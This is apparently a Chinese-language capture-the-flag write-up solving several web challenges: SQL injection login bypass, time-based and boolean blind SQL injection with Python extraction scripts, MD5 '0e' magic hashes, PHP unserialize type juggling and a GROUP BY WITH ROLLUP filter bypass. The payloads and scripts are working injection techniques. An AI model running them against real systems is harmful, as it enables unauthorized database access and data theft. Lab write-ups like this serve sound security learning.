登入一下好嗎
->運算子叫做“指向結構體成員運算子”，是C語言和C++語言的一個運算子，用處是使用一個指向結構體或物件的指標訪問其內成員。
登入 使用者名稱-> ‘=’
密碼-> ‘=’
那麼正常執行的SQL語句就是
select * from 表 where username = “$_POST[‘userneme’]” and password = “$_POST[‘password’]”;
那我們登入執行的SQL語句
select * from 表 where username = “‘‘=’’” and password = “‘‘=’’”;
“‘‘=’’”始終成立，NULL=NULL，就相當於
select * from 表 where 1 and 1;

who are you?
時間盲注，在X-forwarded-for引數中。
主要還是SQL語句的理解：
‘+”+”(select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(5) else 1 end ) and ‘1’=’1
單引號閉合，後面都是條件子句，
case when then else end
substring
() from for

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
 

#引用 模組包
import requests
import string

url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
flag = ""

for i in range(1,33):
   for str in guess:
     headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1"
 
 %(i,str)}
     try: 
         res=requests.get(url,headers=headers,timeout=4)
     except requests.exceptions.ReadTimeout, e:
         flag = flag + str
         print "flag:", flag
         break

print 'result:' + flag

天網管理系統
原始碼，提示：<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
科學計數法：0exxx就是0
MD5值，0e開頭：

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020

進入/user.php?fame=hjkleffifer
提示$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{ print_r($flag); }
偉大的科學家php方言道：成也布林，敗也布林。 回去吧騷年
serialize函式 序列化
本地php構造

<?php
$array1 = array('user' => true,'pass'=>true);
print_r(serialize($array1))
?>

得到“a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}”
完工：ctf{dwduwkhduw5465}

因缺思汀的繞過
原始碼，提示：<!--source: source.txt-->
原始碼

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可載舟，亦可賽艇！";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可賽艇！";
    }
}else{
    print "一顆賽艇！";
}
mysql_close($con);
?>

有兩個if巢狀

(mysql_num_rows($query) == 1)

($key['pwd'] == $_POST['pwd'])

那就繞過唄！返回行數為1，那就limit 1
pwd我們不知道 利用

group by 列名 with rollup ……offset 數字
數字只能挨個試，最後一個即可。

’or 1 group by pwd with rollup limit 1 offset 2#

CTF{with_rollup_interesting}
python：

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
#引用 模組包

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/pcat/index.php"

#(!isset($_POST['uname']) || !isset($_POST['pwd']))
payload = {'uname':"'or 1 group by pwd with rollup limit 1 offset 2#",'pwd':""}
# print payload['uname'].decode("utf-8")
res = requests.post(url,data=payload)
print res.text

雖然pwd為空，傳參也必須加入字典。

簡單的sql注入之3

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
import requests
import string
string = string.digits+string.ascii_lowercase
#爆破的基礎字元
flag = []
FLAG = False

def POC(x,i):
    url = 'http://ctf5.shiyanbar.com/web/index_3.php?id='
    poc = "1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" % (x, i)
    res = requests.get(url+poc)
    #print('testing url:' + url + poc) # test...
    if res.headers['Content-Length'] == '471':
        return 1
    else:
        return 0
for x in range(1, 35):
    for i in range(32, 129):  # ascii碼可見字元32-127
        if POC(x, i):
           flag.append(chr(i))  # chr()將整數轉為對應的ascii碼字元
           break
        elif i == 128:  # 當該位flag沒有匹配的字元時退出迴圈
            FLAG = True
    if FLAG:
        break
# 以字串的形式輸出結果
get_flag = ''
for i in flag:
    get_flag += i
print get_flag

payload就是
1’and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23
1’and+ascii(substr((select+flag+from+flag),%d,1))=%d#（x,i）
判斷第一到第35個字元的ascii碼分別是32-127中的哪一個，再轉換成字元輸出到flag
flag{[email protected]_5O_dAmn_90Od}